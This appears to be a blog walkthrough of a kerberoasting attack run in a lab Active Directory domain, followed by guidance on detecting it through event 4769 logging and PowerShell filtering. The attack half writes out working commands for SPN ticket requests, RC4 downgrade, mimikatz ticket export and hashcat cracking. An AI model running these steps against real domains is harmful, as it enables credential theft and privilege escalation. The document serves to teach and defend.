The walkthrough below was done in a lab. However, this is based on a real world attack. The only difference is that the screenshots and steps below were replicated in an enclosed lab environment and not a real domain.
Assumptions
Let's first be clear on where we are in the attack process. This is a post exploitation attack where we have already gained access to the target network.- In our walkthrough, we have already gained network access. This was done by having physical access and plugging a rogue windows device into a network port and obtaining an IP address.
- We then obtain credentials by sniffing the network and capturing either a hash or cleartext credentials
- Since we already had physical access and brought in our own rogue device, we are running a locally managed asset with no security controls installed.
- Additionally, this device is not connected to the domain.
The Attack
On our windows host that we have complete control over, we confirm we are not connected to the domain.
However, in order to enumerate the network we need to have some sort of access to the domain. Luckily, since we have captured credentials from earlier, we can actually connect to the domain by utilizing the "runas" command and /netonly syntax to launch powershell on the network as our compromised user. This will allow us to use powershell commands on the network domain as our compromised user without having to actually register our device.
To do this we open up a command prompt as administrator and run the following command:
runas /netonly /user:<domain>\<user> powershell.exe
Now that we have a powershell terminal running as our compromised user, we can then begin enumerating the domain. One tool that does this easily is PowerSploit. Once downloaded, drop the PowerSploit and Recon folders into the C:\Windows\System32\WindowsPowerShell\v1.0\Modules directory.
With PowerSploit setup, we can import the modules into our powershell terminal. It is also a good time to set the Execution Policy to unrestricted which will load all configuration files and run all scripts.
Set-ExecutionPolicy Unrestricted Import-Module PowerSploit Import-Module Recon
Now that we have PowerSploit ready to go, we can utilize a few modules that will help us understand the network. A simple module is "Get-NetDomain". This will give us information about the current users Domain.
Get-NetDomain
We can also list out all Domain Admins on the network using "Get-NetGroupMember"
Get-NetGroupMember -Domain <domain> -DomainController <domaincontroller>
This is a great opportunity to continue enumeration with PowerSploit. However, we have all the information we need to begin kerberoasting. We need to go after the Service Principal Names (SPN) by requesting TGS (request service tickets) for service accounts. We utilize powershell and the builtin command-line tool (since windows 2003) setspn.exe. Setspn.xex allows us to read, modify, and delete the SPN directory property for an Active Directory service account. With a little powershell fu, we request SPN Kerberos Tickets:
Add-Type -AssemblyName System.IdentityModel setspn.exe -T <domain> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
We can run the builtin windows tool "klist" to display a list of currently cached kerberos tickets. We can also see what the encryption type is too. As you can see, some of our tickets are in the RC4 hash which is a lot easier to crack than AES-256.
However, if we want to exclusively get RC4 encrypted tickets only, we can utilize the PowerView function "Request-SPNTicket". This will downgrade the tickets to RC4 and only leave us with RC4 encrypted tickets to crack. For demonstration purposes, we will request all users and downgrade with Request-SPNTicket:
Get-NetUser -SPN | Request-SPNTicket
Now that we have the tickets, we need to export them out of the system. We can use Mimikatz to accomplish this task. The best part is, since we have our own windows machine with no security controls, we can use mimikatz without it getting flagged on the network. Within our current powershell terminal, we drop into command prompt. We launch mimikatz and we export our kerberos tickets.
cmd.exe mimikatz.exe kerberos::list /export
Since we are in C:\users\alice\Desktop\tools\mimikatz_trunk\x64 directory, our kirbi tickets will be found there.
Now that we have exported our kerberos tickets, it is now time to crack them. However, these tickets are in binary and we need to get them into a crackable format that either John the Ripper or Hashcat can read. To do this, we utilize a tool called kirbi2john.py.
In our example, I copy all the .kirbi files to my kali machine. I then run kirbi2john.py and it gets saved to a file called "crack_file"
python kirbi2john.py <directoryOfKirbiFiles>/*.kirbi
Now that we have our files in a format John can crack, we can begin cracking. However, our preference is using hashcat instead of John. With a little sed magic, we can get this into a file hashcat can read.
cat kirbi2johnoutput.txt | sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' > johnoutput2hashcat.txt
I then have my hashes in a hashcat readable file. Instead of cracking kali which is on a VM, I move the hash file to a password cracking rig and crack:
hashcat --force -m 13100 -o <outputfile> <hashfile> <passwordfile>
I check the status and it looks to have found a password of "OfTheJungle!"
Once hashcat is completed, I take a look at my output file and see that I have cracked 2 accounts. The first account is a svc.iisadmin account with a password of "p4ssw0rd!". The second account is a user "george" with a password of "OfTheJungle!"
Now that we have 2 user accounts, we can go back to powershell and verify the access these 2 users have.
Get-NetUser -UserName <user> -Domain <domain>
As we can confirm above, the svc.iisadmin account is part of the Domain Admins group (We also saw this earlier during our enumeration using PowerSploit). While the probability of cracking a Domain Admin account is low, this is an example of how we can move laterally into the network and migrate from a low privileged user "edward" to a higher privileged user "george" or "svc.iisadmin"
Detecting
Now that we have performed the attack, how do we detect this? Well, in order to detect, we need to first make sure we have the proper logging enabled.We'll need to configure the "Audit Kerberos Service Ticket Operations" policy to log successul Kerberos TGS Ticket requests. This can be done by:
- Go to Domain Controller > Service Manager
- Click "Tools" > Local Security Policy
- On the left hand side "Advanced Audit Policy Configuration" > System Audit Policies - Local Group Policy Object > Account Logon
- Enable the "Audit Kerberos Service Ticket Operations"
We will enable the logging of "Successful" kerberos service ticket requests:
By enabling this audit category on the Domain Controller, it will result in 2 additional event IDs to being logged:
- 4769: Kerberos service ticket (TGS) was requested
- 4770: Kerberos service ticket was renewed
Now that we have this enabled, we can find the events start to pour in. These events can be found by going to:
- Event Viewer
- Windows Logs > Security
If we open up one of these events, we can see more details about it
Now, the following information is provided by the one and only Sean Metcalf who managers the adsecurity.org blog. I will steal his knowledge and put it here. Thanks @pyrotek3 !
He explains that detecting this is very tough since service tickets (Kerberos TGS tickets) are common and happen all the time in an environment. The best method is to drill down and look for TGS-REQ packets with RC4 encryption (although false positives are likely).
Now that we have the "Audit Kerberos Service Ticket Operations" policy logging, we now need to search for users with excessive 4769 events. Additionally, if we look at the event, the "Ticket Encryption Type" is a key field where we can see if RC4 was requested. Below is a chart supplied by @NerdPyle:
Okay, now that we're logging these events, we need to filter this data before sending it to our SIEM/Splunk. Since we are only really interested in Kerberos TGS Service tickets with RC4 encryption, it's possible to filter by just those events. As shown above, we'll want to look for events with 0x17 (RC4 encrypted tickets).
These events can be filtered using the following which greatly reduces the amount of events flowing into the SIEM/Splunk:
- Ticket Options: 0x40810000
- Ticket Encryption: 0x17
We can further reduce the number of 4769 events that flow into the SIM/Splunk:
- Filter out requests from service accounts
- Filter out Audit Success
- Filter out requests for service names with "$" which are typically for computer accounts (or turusts or Managed Service Accounts, all accounts where Windows automatically generates a long, complex password).
Now that we have a potential suspect, how do we discover this activity? We can use PowerShell to parse the DC's event log looking for Event ID 4769. Below is a simple powershell script that calls the Security Event Log, looks for Event ID 4769 after yesterday's date and searches for any request with the Encryption Type of 0x17.
PS C:\Windows\system32> Get-EventLog -Log Security -InstanceID 4769 -After "11/1/18" | where {$_.Message -match "0x17"} Index Time EntryType Source InstanceID Message ----- ---- --------- ------ ---------- ------- 711634 Nov 02 15:14 SuccessA... Microsoft-Windows... 4769 A Kerberos service ticket was requested.... 711632 Nov 02 15:14 SuccessA... Microsoft-Windows... 4769 A Kerberos service ticket was requested.... PS C:\Windows\system32>
As shown above, there were 2 tickets requested. I dive deeper by expanding the message:
PS C:\Windows\system32> Get-EventLog -Log Security -InstanceID 4769 -After "11/1/18" | where {$_.Message -match "0x17"} | select -ExpandProperty message A Kerberos service ticket was requested. Account Information: Account Name: edward@GEODA-LAB.COM Account Domain: GEODA-LAB.COM Logon GUID: {8C5E2CF2-54F5-E528-395E-E079D1731CA7} Service Information: Service Name: george Service ID: S-1-5-21-2201867514-1935609597-969805512-1126 Network Information: Client Address: ::ffff:10.10.50.100 Client Port: 49171 Additional Information: Ticket Options: 0x40810000 Ticket Encryption Type: 0x17 Failure Code: 0x0 Transited Services: - This event is generated every time access is requested to a resource such as a computer or a Windows service. The serv ice name indicates the resource to which access was requested. This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon eve nt occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. Ticket options, encryption types, and failure codes are defined in RFC 4120. A Kerberos service ticket was requested. Account Information: Account Name: edward@GEODA-LAB.COM Account Domain: GEODA-LAB.COM Logon GUID: {8C5E2CF2-54F5-E528-395E-E079D1731CA7} Service Information: Service Name: svc.iisadmin Service ID: S-1-5-21-2201867514-1935609597-969805512-1124 Network Information: Client Address: ::ffff:10.10.50.100 Client Port: 49169 Additional Information: Ticket Options: 0x40810000 Ticket Encryption Type: 0x17 Failure Code: 0x0 Transited Services: - This event is generated every time access is requested to a resource such as a computer or a Windows service. The serv ice name indicates the resource to which access was requested. This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon eve nt occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. Ticket options, encryption types, and failure codes are defined in RFC 4120. PS C:\Windows\system32>
As we can see, 2 tickets were requested for the service name of George and svc.iisadmin. These were requested by our user "Edward". If Edward did this in a production environment with more users, there could possibly be more requests, which would present a red flag.
I also created a real shitty script which will print the Account Name and Service Name requested for all Ticket Encryption Types of 0x17:
PS C:\Windows\system32> Get-EventLog -Log Security -InstanceID 4769 -After "11/1/18" | where {$_.Message -match "0x17"} | %{$data = $_.Message.split("`n"); Write-Output "$($data[3]) $($data[8])"} Account Name: edward@GEODA-LAB.COM Service Name: george Account Name: edward@GEODA-LAB.COM Service Name: svc.iisadmin PS C:\Windows\system32>
However, if a smart attacker were to only request a few tickets at a time, this may be harder to detect. We would have to just monitor the Ticket Encryption Type of 0x17 and start investigating.
I hope this has been helpful!
geoda